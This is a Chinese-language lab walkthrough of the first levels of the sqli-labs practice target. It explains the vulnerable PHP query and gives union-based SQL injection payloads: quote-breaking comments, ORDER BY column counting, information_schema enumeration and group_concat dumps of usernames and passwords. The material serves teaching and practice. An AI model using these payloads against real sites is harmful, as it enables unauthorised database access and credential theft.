目录
一,了解PHP源代码
二,破解第一关
2.1在了解完源码之后,我们重点看一下
2.2破解这道题表中有几列
2.3查看表中哪一列有回显
2.4查询库,表,列信息
三,总结
前提:
之所以把1234关一起破解,是因为它们属于同一类型,下面我们来看一看他们的不同点与相同点
一,了解PHP源代码
1.1 以第一关为例,我们先找到www文件(及网站根目录),找到sqli靶场的第一关,在index.php文中,添加两行代码(建议每一关都加)
添加 echo $sql; echo "<br>";
, 这两行的意思是将我们输入的sql语句显示到页面上,然后换行,这有助于我们更好理解注入的原理;
1.2进入第一关
注意:HackBar浏览器插件,自行百度查询
1.3我们发现需要我们输入id信息,输入?id=1,如图:
1.4 发现页面上输出了我们的登录名和密码,这时候我们不要着急往下做,我们先看一下后端源码,了解一下SQL注入的逻辑,我们挑主要的看一下
1.5 分析PHP源代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这句SQL语句的意思是从数据库中查找数据,也是sql注入的关键位置。简单来说,这行代码的意思就是,我们要从 user这个表里面,查询所有id等于我们输入id的内容,然后只取一条反馈到页面上。limit0,1指的是users表从第零行开始输出1个信息(及表中的第一个信息);
echo $sql;
这句的意思是将刚写入的SQL语句输出到屏幕上来,方便我们注入时理解
$result=mysql_query($sql);
mysql_query函数,它的作用是将我们刚写的sql语句执行,但它的结果只会返回ture和false,无法返回我们通过sql语句所获得的数据信息。
$row = mysql_fetch_array($result);
mysql_fetch_array的函数就解决了我们刚刚的问题,它的作用是将我们执行的sql语句所获得的数据保存在一个数组里
if($row)
{
echo "<font size='5' color= '#99FF00'>";``
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
这些代码就是输出我们的username和password,还要注意的就prin_f(mysql_error())这个函数,他的作用是返回一个带有错误描述的字符串。如果没有错误发生则返回 “”,这是我们之后进行报错注入的关键
二,破解第一关
2.1在了解完源码之后,我们重点看一下
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
其中的$id就是我们可操作的内容,也就是说我们需要利用这行代码来提取出数据库的所有信息,这时我们回到第一关,输入?id=1’,看看结果;
发现报错,我们分析一下,在后端执行的sql语句为
SELECT * FROM users WHERE id='1'' LIMIT 0,1
可以看到它只能执行到id='1’后面的 ’ LIME 0,1有语法错误,所以我们在第二个 ’ 后用--+或--%27(意思是空格) 或者%23(意思是#)将后面注释掉,再执行看一下。如图:
2.2破解这道题表中有几列
可以看到没有报错,并且我们看到这道题是有回显的(即会把信息返回到页面上),这里我们用到order by函数:
order by函数用来判断该数据库当前使用的表有几列,从大往小,直到不会报错即为最大,我测试完为3列
2.3查看表中哪一列有回显
接下来来判断哪一列有回显位置,用到了
1' and 1=2 union select 1,2,3 --+
这里涉及到了一个知识点,id 后面跟着的为-1。这里,就跟union 这个语句有关了。这是sql注入里面很常用的东西,用法是将前后两个sql语句结合起来,但是,如果第一条成立,那么在显示位置有限的情况下,后面的查询虽然也正常执行了,但是却不会在网页上反馈,如果我们希望在屏幕上直接看到返回结果,就需要让前方的语句错误。
2.4查询库,表,列信息
接下来我们就知道了2,3的地方是有回显的,可以进行sql注入,这里给大家介绍一些简单的查询语句:
查库:select schema_name from information_schema.schemata;
查表:select table_name from information_schema.tables where table_schema='security';
查列:select column_name from information_schema.columns where table_name='users';
查字段:select username,password from security.users;
注意:sqli靶场的库默认security表默认users
这些语句可以配合limit使用,但是更推荐用group_concat函数
对比group_concat:
group_concat函数就是将所有值返回。
concat_ws('~',username,password)
这个是将字段名连起来输出,我们再配合group_concat函数
group_concat(concat_ws('~',username,password)) from security.users --+
对比group_concat()
三,总结
1~4关的过程只有对id的闭合方式不同,比如第一关的闭合方式是 ‘id’,我们用‘进行闭合,此外闭合方式还有 id “id” (id) (’id‘)((id)) ((‘id’)) ((“id”))等 ,我们可以输入每一种方式的右半边根据它的报错信息来判断它的闭合方式